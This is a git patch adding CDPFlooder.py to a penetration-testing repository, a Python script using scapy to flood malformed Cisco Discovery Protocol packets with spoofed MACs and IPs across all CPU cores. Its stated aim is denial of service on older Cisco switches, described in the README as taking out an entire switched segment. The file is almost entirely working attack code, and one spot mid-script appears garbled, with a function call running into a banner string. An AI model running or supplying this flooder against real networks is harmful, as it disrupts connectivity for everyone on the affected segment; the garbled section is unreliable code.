From 6687dc78881c20b84adf445dd2e496f7407e9a11 Mon Sep 17 00:00:00 2001 From: Mariusz B Date: Fri, 23 Feb 2018 01:15:44 +0100 Subject: [PATCH] Added CDPFlooder.py --- networks/CDPFlooder.py | 276 +++++++++++++++++++++++++++++++++++++++++ networks/README.md | 1 + 2 files changed, 277 insertions(+) create mode 100755 networks/CDPFlooder.py diff --git a/networks/CDPFlooder.py b/networks/CDPFlooder.py new file mode 100755 index 0000000..6685ddd --- /dev/null +++ b/networks/CDPFlooder.py @@ -0,0 +1,276 @@ +#!/usr/bin/python + +# +# Effective CDP Flooder reaching about 1.7-2.1MiB/s (6-7,5K pps) triggering Denial of Service +# on older network switches and routers like Cisco Switch C2960. +# (p.s. Yersinia reaches up to even 10-12MiB/s - 65K pps!) +# +# Python requirements: +# - scapy +# +# Mariusz B. / mgeeky, '18, +# + +import sys +import struct +import string +import random +import argparse +import multiprocessing + +try: + from scapy.all import * +except ImportError: + print('[!] Scapy required: pip install scapy') + sys.exit(1) + +VERSION = '0.1' + +config = { + 'verbose' : False, + 'interface' : None, + 'packets' : -1, + 'processors' : 8, + 'source' : '', + + # CDP Fields + 'cdp-platform' : 'Cisco 1841', + + # Software version - at most 199 chars. + 'cdp-software-version' : '''Cisco IOS Software, 1841 Software (C1841-ADVSECURITYK9-M), Version 12.3(11)T2, RELEASE SOFTWARE (fc1) +Copyright (c) 1986-2004 by Cisco Systems, Inc. +Compiled Thu 28-Oct-04 21:09 by cmong''', + + # Interface taking up + 'cdp-interface' : 'FastEthernet0/1', +} + +stopThreads = False + + +# +# =============================================== +# + +class Logger: + @staticmethod + def _out(x): + if config['verbose']: + sys.stdout.write(x + '\n') + + @staticmethod + def out(x): + Logger._out('[.] ' + x) + + @staticmethod + def info(x): + Logger._out('[?] ' + x) + + @staticmethod + def err(x): + sys.stdout.write('[!] ' + x + '\n') + + @staticmethod + def fail(x): + Logger._out('[-] ' + x) + + @staticmethod + def ok(x): + Logger._out('[+] ' + x) + +def cdpDeviceIDgen(size=2, chars=string.ascii_uppercase + string.digits + string.ascii_lowercase): + return ''.join(random.choice(chars) for x in range(size)) + + +def generatePacket(): + # + # Parts of this function were taken from source code of 'cdp_flooder.py' by Chris McNab + # Network Security Assessment: Know Your Network + # + + softVer = config['cdp-software-version'][:199] + platform = config['cdp-platform'][:-4] + iface = config['cdp-interface'] + deviceID = cdpDeviceIDgen(8) + srcIP = Net(config['source']).choice() + caps = random.randint(1, 65) + + etherframe = Ether() #Start definition of Ethernet Frame + etherframe.dst = '01:00:0c:cc:cc:cc' #Set Ethernet Frame destination MAC to Ciscos Broadcast MAC + etherframe.src = RandMAC() #Set Random source MAC address + etherframe.type = 0x011e #CDP uses Type field for length information + + llcFrame = LLC() #Start definition of Link Layer Control Frame + llcFrame.dsap = 170 #DSAP: SNAP (0xaa) IG Bit: Individual + llcFrame.ssap = 170 #SSAP: SNAP (0xaa) CR Bit: Command + llcFrame.ctrl = 3 #Control field Frame Type: Unumbered frame (0x03) + + snapFrame = SNAP() #Start definition of SNAP Frame (belongs to LLC Frame) + snapFrame.OUI = 12 #Organization Code: Cisco hex(0x00000c) = int(12) + snapFrame.code = 8192 #PID (EtherType): CDP hex(0x2000) = int(8192) + + cdpHeader = CDPv2_HDR() #Start definition of CDPv2 Header + cdpHeader.vers = 1 #CDP Version: 1 - its always 1 + cdpHeader.ttl = 255 #TTL: 255 seconds + + cdpDeviceID = CDPMsgDeviceID() #Start definition of CDP Message Device ID + cdpDeviceID.type = 1 #Type: Device ID hex(0x0001) = int(1) + cdpDeviceID.len = 4 + len(deviceID) #Length: 6 (Type(2) -> 0x00 0x01) + (Length(2) -> 0x00 0x0c) + (DeviceID(deviceIdLen)) + cdpDeviceID.val = deviceID #Generate random Device ID (2 chars uppercase + int = lowercase) + + cdpAddrv4 = CDPAddrRecordIPv4() #Start Address Record information for IPv4 belongs to CDP Message Address + cdpAddrv4.ptype = 1 #Address protocol type: NLPID + cdpAddrv4.plen = 1 #Protocol Length: 1 + cdpAddrv4.proto = '\xcc' #Protocol: IP + cdpAddrv4.addrlen = 4 #Address length: 4 (e.g. int(192.168.1.1) = hex(0xc0 0xa8 0x01 0x01) + cdpAddrv4.addr = str(srcIP) #Generate random source IP address + + cdpAddr = CDPMsgAddr() #Start definition of CDP Message Address + cdpAddr.type = 2 #Type: Address (0x0002) + cdpAddr.len = 17 #Length: hex(0x0011) = int(17) + cdpAddr.naddr = 1 #Number of addresses: hex(0x00000001) = int(1) + cdpAddr.addr = [cdpAddrv4] #Pass CDP Address IPv4 information + + cdpPortID = CDPMsgPortID() #Start definition of CDP Message Port ID + cdpPortID.type = 3 #type: Port ID (0x0003) + cdpPortID.len = 4 + len(iface) #Length: 13 + cdpPortID.iface = iface #Interface string + + cdpCapabilities = CDPMsgCapabilities() #Start definition of CDP Message Capabilities + cdpCapabilities.type = 4 #Type: Capabilities (0x0004) + cdpCapabilities.len = 8 #Length: 8 + cdpCapabilities.cap = caps #Capability: Router (0x01), TB Bridge (0x02), SR Bridge (0x04), Switch that provides both Layer 2 and/or Layer 3 switching (0x08), Host (0x10), IGMP conditional filtering (0x20) and Repeater (0x40) + + cdpSoftVer = CDPMsgSoftwareVersion() #Start definition of CDP Message Software Version + cdpSoftVer.type = 5 #Type: Software Version (0x0005) + cdpSoftVer.len = 4 + len(softVer) #Length + cdpSoftVer.val = softVer + + cdpPlatform = CDPMsgPlatform() #Statr definition of CDP Message Platform + cdpPlatform.type = 6 #Type: Platform (0x0006) + cdpPlatform.len = 4 + len(platform) #Length + cdpPlatform.val = platform #Platform + + restOfCdp = cdpDeviceID / cdpAddr / cdpPortID / cdpCapabilities / cdpSoftVer / cdpPlatform + + cdpGeneric = CDPMsgGeneric() + cdpGeneric.type = 0 + cdpGeneric.len = 0 + cdpGeneric.val = str(restOfCdp) + + cdpGeneric2 = CDPMsgGeneric() + cdpGeneric2.type = struct.unpack(' + v{} +'''.format(VERSION)) + + parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options]') + parser.add_argument('-i', '--interface', metavar='DEV', default='', help='Select interface on which to operate.') + parser.add_argument('-n', '--packets', dest='packets', metavar='NUM', default=-1, type=int, help='Number of packets to send. Default: infinite.') + parser.add_argument('-s', '--source', metavar='SRC', default='0.0.0.0/0', help='Specify source IP address/subnet. By default: random IP from 0.0.0.0/0') + parser.add_argument('-v', '--verbose', action='store_true', help='Display verbose output.') + + cdp = parser.add_argument_group('CDP Fields', 'Specifies contents of interesting CDP fields in packets to send') + cdp.add_argument('--software', help = 'Software version') + cdp.add_argument('--platform', help = 'Device Platform') + cdp.add_argument('--cdpinterface', help = 'Device Interface') + + args = parser.parse_args() + + config['verbose'] = args.verbose + config['interface'] = args.interface + config['packets'] = args.packets + config['source'] = args.source + config['processors'] = multiprocessing.cpu_count() + + if args.cdpinterface: config['cdp-interface'] = args.cdpinterface + if args.platform: config['cdp-platform'] = args.platform + if args.software: config['cdp-sofware-version'] = args.software + + Logger.info('Will use {} processors.'.format(config['processors'])) + + return args + +def main(argv): + global stopThreads + + opts = parseOptions(argv) + if not opts: + Logger.err('Options parsing failed.') + return False + + if os.getuid() != 0: + Logger.err('This program must be run as root.') + return False + + load_contrib('cdp') + + packetsLists = [[] for x in range(config['processors'])] + + if config['packets'] > 0: + for i in range(config['packets']): + packetsLists[i % config['processors']].append(i) + + jobs = [] + + for i in range(config['processors']): + task = multiprocessing.Process(target = flooder, args = (i, packetsLists[i])) + jobs.append(task) + task.daemon = True + task.start() + + print('[+] Started flooding. Press CTRL-C to stop that.') + try: + while jobs: + jobs = [job for job in jobs if job.is_alive()] + except KeyboardInterrupt: + stopThreads = True + print('\n[>] Stopping...') + + stopThreads = True + time.sleep(3) + +if __name__ == '__main__': + main(sys.argv) diff --git a/networks/README.md b/networks/README.md index 1454774..d4ec27a 100644 --- a/networks/README.md +++ b/networks/README.md @@ -1,5 +1,6 @@ ## Networks Penetration Testing related scripts, tools and Cheatsheets +- **`CDPFlooder.py`** - CDP Flooding tool, intended to take out entire segment switched by some old Cisco switches, vulnerable to Denial of Service after receiving big amount of invalid CDP packets. - **`dtpscan.py`** - DTP Scanner - simple script trying to determine type of configured switchport and DTP negotation mode in order to assist in VLAN Hopping attacks. ([gist](https://gist.github.com/mgeeky/3f678d385984ba0377299a844fb793fa))